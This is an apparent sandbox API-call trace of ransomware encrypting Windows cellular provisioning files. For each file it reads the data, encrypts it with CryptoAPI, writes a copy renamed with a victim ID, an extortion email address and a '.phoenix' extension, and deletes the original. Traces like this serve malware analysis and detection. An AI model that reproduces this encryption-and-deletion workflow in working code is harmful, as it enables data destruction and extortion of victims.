	[0256.946] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c1, lpOverlapped=0x0) returned 1
	[0256.948] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0256.948] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0256.948] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151540) returned 1
	[0256.948] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.949] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0256.949] CryptDestroyKey (hKey=0x151540) returned 1
	[0256.949] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0256.949] CryptDestroyKey (hKey=0x151480) returned 1
	[0256.949] CloseHandle (hObject=0x2d0) returned 1
	[0256.949] CloseHandle (hObject=0x2c0) returned 1
	[0256.949] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\652__Connections_Cellular_3RoI (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\652__connections_cellular_3roi (ireland)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.950] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.950] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\653__connections_cellular_3roi (ireland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.950] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=707) returned 1
	[0256.950] CloseHandle (hObject=0x2c0) returned 1
	[0256.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\653__connections_cellular_3roi (ireland)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0256.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\653__connections_cellular_3roi (ireland)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.951] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\653__connections_cellular_3roi (ireland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.951] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.951] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.951] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\653__connections_cellular_3roi (ireland)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.951] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151740) returned 1
	[0256.951] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.951] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c3, lpOverlapped=0x0) returned 1
	[0256.994] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0256.994] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0256.995] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151540) returned 1
	[0256.995] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.995] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0256.995] CryptDestroyKey (hKey=0x151540) returned 1
	[0256.995] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0256.995] CryptDestroyKey (hKey=0x151740) returned 1
	[0256.995] CloseHandle (hObject=0x2c0) returned 1
	[0256.995] CloseHandle (hObject=0x2d0) returned 1
	[0256.995] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\653__Connections_Cellular_3RoI (Ireland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\653__connections_cellular_3roi (ireland)_i1$(__mvid)@wap.provxml")) returned 1
	[0256.997] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.997] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\660__connections_cellular_chatr (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.998] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=713) returned 1
	[0256.998] CloseHandle (hObject=0x2d0) returned 1
	[0256.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\660__connections_cellular_chatr (canada)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\660__connections_cellular_chatr (canada)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.998] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\660__connections_cellular_chatr (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.998] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.998] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.998] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\660__connections_cellular_chatr (canada)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.999] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151480) returned 1
	[0256.999] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.999] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c9, lpOverlapped=0x0) returned 1
	[0257.000] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0257.000] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0257.001] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0257.001] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.001] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0257.001] CryptDestroyKey (hKey=0x151180) returned 1
	[0257.001] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0257.001] CryptDestroyKey (hKey=0x151480) returned 1
	[0257.001] CloseHandle (hObject=0x2d0) returned 1
	[0257.001] CloseHandle (hObject=0x2c0) returned 1
	[0257.002] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\660__connections_cellular_chatr (canada)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.002] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0257.002] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\661__connections_cellular_cityfone (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.003] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=713) returned 1
	[0257.003] CloseHandle (hObject=0x2c0) returned 1
	[0257.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\661__connections_cellular_cityfone (canada)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\661__connections_cellular_cityfone (canada)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.003] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\661__connections_cellular_cityfone (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.003] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.003] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.003] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\661__connections_cellular_cityfone (canada)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.004] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151540) returned 1
	[0257.004] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.004] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c9, lpOverlapped=0x0) returned 1
	[0257.008] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0257.008] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0257.009] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151740) returned 1
	[0257.009] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.009] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0257.010] CryptDestroyKey (hKey=0x151740) returned 1
	[0257.010] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0257.010] CryptDestroyKey (hKey=0x151540) returned 1
	[0257.010] CloseHandle (hObject=0x2c0) returned 1
	[0257.010] CloseHandle (hObject=0x2d0) returned 1
	[0257.010] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\661__connections_cellular_cityfone (canada)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.011] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0257.011] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\662__connections_cellular_hp datapass (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.012] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=873) returned 1
	[0257.012] CloseHandle (hObject=0x2d0) returned 1
	[0257.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\662__connections_cellular_hp datapass (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\662__connections_cellular_hp datapass (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.012] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\662__connections_cellular_hp datapass (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.013] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.013] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.013] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\662__connections_cellular_hp datapass (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.013] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151740) returned 1
	[0257.013] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.013] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x369, lpOverlapped=0x0) returned 1
	[0257.015] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x370, dwBufLen=0x370 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x370) returned 1
	[0257.015] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x370, lpOverlapped=0x0) returned 1
	[0257.016] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151480) returned 1
	[0257.016] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.016] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0257.016] CryptDestroyKey (hKey=0x151480) returned 1
	[0257.016] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0257.016] CryptDestroyKey (hKey=0x151740) returned 1
	[0257.016] CloseHandle (hObject=0x2d0) returned 1
	[0257.016] CloseHandle (hObject=0x2c0) returned 1
	[0257.016] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\662__connections_cellular_hp datapass (united states)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.017] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
